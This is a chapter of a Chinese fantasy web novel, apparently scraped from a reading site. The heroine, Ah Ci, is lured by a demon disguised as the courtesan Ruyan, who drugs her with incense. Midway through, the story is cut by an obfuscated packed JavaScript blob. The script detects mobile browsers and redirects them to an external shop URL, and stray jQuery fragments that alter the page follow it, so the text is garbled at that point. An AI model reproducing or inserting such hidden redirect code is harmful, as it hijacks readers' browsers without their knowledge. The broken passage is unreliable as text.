默认冷灰
24号文字
方正启体

11. 第 11 章(修)

作者:御弦无声本书字数:K更新时间:
    “是我?”


    阿辞分明没有交画卷,何来被选中。


    疑惑间,顾晏清轻轻点了点空荡的桌子。


    那处,原本放着的帕子悄然消失。


    “被选中的是那张帕子。”一旁的蓟星驰喃喃。


    袖袍下,他的手已经摸到了芥子囊中的剑上,仿佛下一秒就要出鞘。


    那张帕子有什么值得人看重的?


    是上面的纹路!


    糟了!


    这人是冲他们一行人来的。


    阿辞掩在桌下的手骤然收紧,心跳如擂鼓,仿佛下一秒就要跳出胸膛。


    不惊动梼杌是他们一直以来的行动准则。


    此刻,她却不经意间惊动了与梼杌有关的人。


    身边的小厮不知何时站到了她身边,面上挂着诡异的笑意,“贵客,请吧。”


    怎么办?


    阿辞的身子有些麻木。


    桌下,一只骨节分明的手用力地分开了她掐得发白的手指,与她交握。


    她迟钝地转头,是顾仙君。


    他的目光微凝,语气依旧温和,询问道:“我代你去?”


    分明是问句,却是陈述的语气。


    像是只要她不向前迈步,他就会站出来。


    他们两人坐得极近,老鸨指名时,只指了大概方向,要说指的是他,也能蒙混过去。


    阿辞环顾两侧,蓟星驰不必多说,面上的紧张已经溢了出来。


    见她看向自己,他轻轻摇头,眼中是不愿她涉险的紧张。


    黎芳蔼也敛了平日的笑意,紧张地在芥子囊中翻找着什么。


    阿辞睫羽微颤,显然已经慌张到极致。


    擂动的心跳声充斥着她的双耳。


    咚咚咚……


    思绪在极度慌张的情况下,反而更为清晰。


    她是凡人,没有术法。


    这帕子未确定归属。


    正因为她是凡人,才不可能是这帕子的主人。


    若是相互试探,她未必会落下风。


    雅间内一片寂静,楼下的喧嚣更甚。


    阿辞忽然轻笑一声,在此情景下有些不合时宜。


    下一秒,她松开那双安抚着她的手,在几人的注视下起身,拍了拍衣角不明显的灰尘,一挥折扇,笑道:


    “如烟姑娘何等美貌,能得她的眷顾,是我之幸,走吧。”


    行至雅间门口,黎芳蔼忽然喊住她,从怀中掏出一枚白玉,放在她手心,轻声道:“等等,阿辞,千万别把你的玉落下了。”


    在阿辞接过玉的瞬间,一道柔和却隐秘的声音传入她的耳朵:“阿辞,这玉贴身携带,我们三人便能听到你身边的声音,只要你有危险,我们便会出现。”


    阿辞愣了一瞬,瞧见黎芳蔼的眼神,心领神会,将玉佩收在胸口,“多谢芳霭。”


    长乐坊有三层,一层大厅,二层雅间,第三层则是独属于花魁的住处。


    阿辞随着小厮走在第三层,四周是若隐若现的幕帘,越往里走,装饰越发华丽。


    楼下的喧嚣传上来,显得这处格外安静。


    行至一处,小厮忽然停住步伐,将门推开,扬声道:“如烟姑娘,公子来了。”


    一道酥媚入骨的声音从更深处传来,像是鬼魅,有些惑人。


    “请进。”


    厢房里面并不昏暗,反而比二楼要来得亮堂,一道屏风拦在房间一侧,遮住一张榻。


    透过光,阿辞只瞧见一道碧色的身影斜卧在榻上,露出一个剪影,影影绰绰的,便已是魅惑无穷。


    阿辞自若地走到桌子旁坐下,笑道:“久仰如烟姑娘大名。”


    那道碧色的身影缓缓坐起,从屏风后走出,面目展露在阿辞面前。


    眉若远黛,唇若朱丹。


    阿辞一惊,这人的五官生得好美,尤其是眉目,如同山水画。


    气质中却带着几分魅骨天成,两种极致混在她身上,像是被强行缝合在一起,有些说不出来的怪异。


    阿辞的心头警铃大作,这是妖吗?


    那头,如烟姑娘悄无声息地凑近,指尖还捏着那方手帕,语调上扬:“我还以为公子今日第一次听闻如烟大名。”


    阿辞一惊,面上不动声色,挥了挥折扇,“姑娘何出此言?姑娘在奇烟镇如今可是远近闻名。”


    二楼雅间中,几人神态各异。


    蓟星驰手握栏杆,看着一楼来来往往的人,心中的躁郁快要凝成实体,恨不得此刻拔剑杀上去,回头看向两人,“你们怎么不急?”


    黎芳蔼坐在桌边,摆弄着三个玉白色的小海螺,对着它们施术法,时不时拿起一个放在耳边,露出恍然的表情。


    “阿辞决心如此,我们做她的后盾就是。”顾晏清坐在黎芳蔼身边,面色如常,缓缓地倒了一杯茶,抬眼,“蓟师弟来喝茶。”


    蓟星驰没好气地上前,接过那杯茶,喝了一口,正要开口说话。


    一旁的黎芳蔼一声惊呼,“好了。”


    愣神间,一只白色海螺被塞到他手中,蓟星驰疑惑道:“这是?”


    桌边的两人早已将海螺放到了耳边,黎芳蔼头也不抬,兴奋道:“这是我几年前研制出的小玩意,方才研究了一下用法,现在应该听得清了。”


    听得清?


    蓟星驰顾不得疑惑,学着他们将海螺放在耳边。


    一道熟悉的声音从里面传出,细听还能发觉其中故作轻佻的部分。


    “如烟姑娘生得真美,不愧是长乐坊的头牌。”


    厢房内,阿辞装作被美色吸引,假意凑近几分。


    如烟却轻哼一声,旋身抽离,碧色罗裙像花一样绽开,“男子的甜言蜜语最是靠不住,看人,不单要看容貌,还要看这皮下的心。”


    语罢,她一个旋身再度凑近,那双涂着蔻丹的柔夷轻轻拂过阿辞的心口,眼神灼灼地盯着阿辞,似要将她看穿。


    心?


    这话术怎么有些熟悉?


    阿辞心里咯噔一下,忍住侧身躲避的本能,佯装嬉笑道:“如烟姑娘这是什么意思?我还能将心挖出来给你看吗?”


    “说不定呢。”如烟似笑非笑地打量她,指尖摩挲帕子,缓缓开口,“曾经有一个恩客告诉过我,他生平最恨的就是白泽,这话我牢牢地记在心里,片刻不敢忘记。”


    这位恩客是梼杌?


    阿辞面上露出纯然的惊讶,忍着心底的惧意,上前接过手帕,“白泽?这帕子上的纹路竟叫白泽?”


    阿辞面上的疑惑不似作假,反倒让如烟一愣。


    阿辞顺势圆话,语气中带着些窘迫道:“这是我在镇中捡的,不知何时夹进了要赠予姑娘的物件中,却叫姑娘看了个笑话。”


    “无妨,此物稀罕得紧,我甚是欢喜。”如烟捂唇笑道,眉眼间柔媚万千。


    在阿辞没看见的死角,伪装成如烟的梼杌眼底早已翻涌着贪婪的欲念。


    他方才吞食数颗人心,功力恢复大半,眼力愈发刁钻,一眼便看穿阿辞周身覆着易容术法。


    本想探究她与白泽的关联,却被她这颗心吸引。


    易容术遮掩了外在形迹,反倒将她内里最纯粹的灵气暴露无遗。


    千年之前,他正是被封印之人以情感哄骗,落得封印之劫,他化作女子模样,本是想研习尘世女子的魅惑之术。


    而眼前这人,身上或许藏着能完美伪装本心的特质。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341787|199372||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他想获得这项能力,唯有吞食心脏。


    思及此,如烟的眼忽然闪过红光,很快就被压下,眼波流转间,摆出一副害怕的神色。


    “那位恩客提及白泽时,恨不得除之而后快,眉目狠厉,像是下一秒要吃人,吓得我也不敢再面对这瑞兽纹路。”


    阿辞握着折扇的手紧了紧,面上还是故作懵懂,慌忙起身作揖,“若是我知晓此事,绝不会惹姑娘不悦,还请姑娘原谅我冒犯之罪。”


    像极了话本中那些只知读书的呆子。


    如烟眼中贪婪稍敛,生出了一些逗弄心思,心道:也不知这样的人,完全放下心防后,再一口吞食,是何种滋味?


    手指掐诀,一道黑光射到一旁的香炉之中。


    一圈圈的香顺着炉子升起,悄无声息地融进空气中。


    阿辞敏锐地闻到一股异香,下意识看向如烟姑娘,却见她面色如常,心下觉着不妙。


    她撑着身子想起身,却发觉身子软弱无力,思绪像被一层轻纱笼罩,“如烟姑娘,你这香……”


    一只手从身侧伸出,稳稳接住了她即将掉落的身子,如兰的气息扑到她的脸颊。


    “公子,可要小心啊。”


    二楼雅间,黎芳蔼握着海螺的指尖发白,面色凝重,“迷魂香,阿辞招架不住的。”


    蓟星驰猛地握紧芥子囊,就要起身:“还等什么,我现在就冲上去!”


    “等等。”顾晏清抬手将他按住,眸色微凝,“猎物没有挣扎机会时,猎人才会放松警惕,我们的试探只有这一次机会。”


    蓟星驰的眸子微微睁大,有些不可置信地看向顾晏清,“师兄……”


    “再等等,有我赠的月华,她绝不会有事!”


    虽是这样说,顾晏清指尖却凝起一缕灵气,目光沉沉地盯着三层方向。


    厢房内,如烟的语调愈发柔媚,一字一句都像裹了蜜糖,往阿辞耳中钻:“公子这般防备,莫不是怕我害你?我一介弱女子,能对公子做什么呢?”


    如烟的话语在耳边环绕,带着阿辞的意识向更深层坠落。


    就在她彻底迷失之际,一道凉意从胸口传来,阿辞下意识伸手一摸,握住胸口的那块玉。


    黎芳蔼的那句话又出现在她耳边。


    阿辞狠心一咬舌尖,剧痛让她瞬间清醒几分。


    她强撑着笑意起身:“姑娘这里的香太过浓郁,在下有些头晕,怕是要先告辞了,改日再登门赔罪。”


    说罢,便踉跄地往外走。


    猎物已上钩。


    如烟眼中的笑意瞬间消失,不再伪装。


    她指尖轻弹,一缕黑气缠向阿辞脚踝,语气森然:“公子既然要走,不如将这颗心给我作纪念吧,我好睹物思人啊。”


    阿辞脚踝一紧,身形骤然顿住。


    发间的月华光芒骤亮,直接震开那缕妖气。


    “是白泽的灵力?”如烟眼中红光大作,心中的警惕已经达到顶峰,伸手就向面前人抓去。


    阿辞一个旋身,勉强躲过一爪。


    如烟顺势伸去第二爪,月华再次亮起,在她身边形成一个灵气罩阻挡住她的攻击。


    如烟:“你与白泽关系匪浅?”


    如烟的目光微眯,看着面前这个目中有惧意的公子,各种情形在脑中迅速过了一遍。


    天下唯有白泽的血能封印他,是否要冒险,已经很明确了。


    三十六计,走为上计。


    如烟忽然停下动作,神色莫辨地盯着她。


    阿辞心头一慌,预感如烟要逃跑,握紧怀中玉,正要呼救。


    耳畔忽然传来一丝极淡的灵气破风之声——


    是顾晏清他们!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)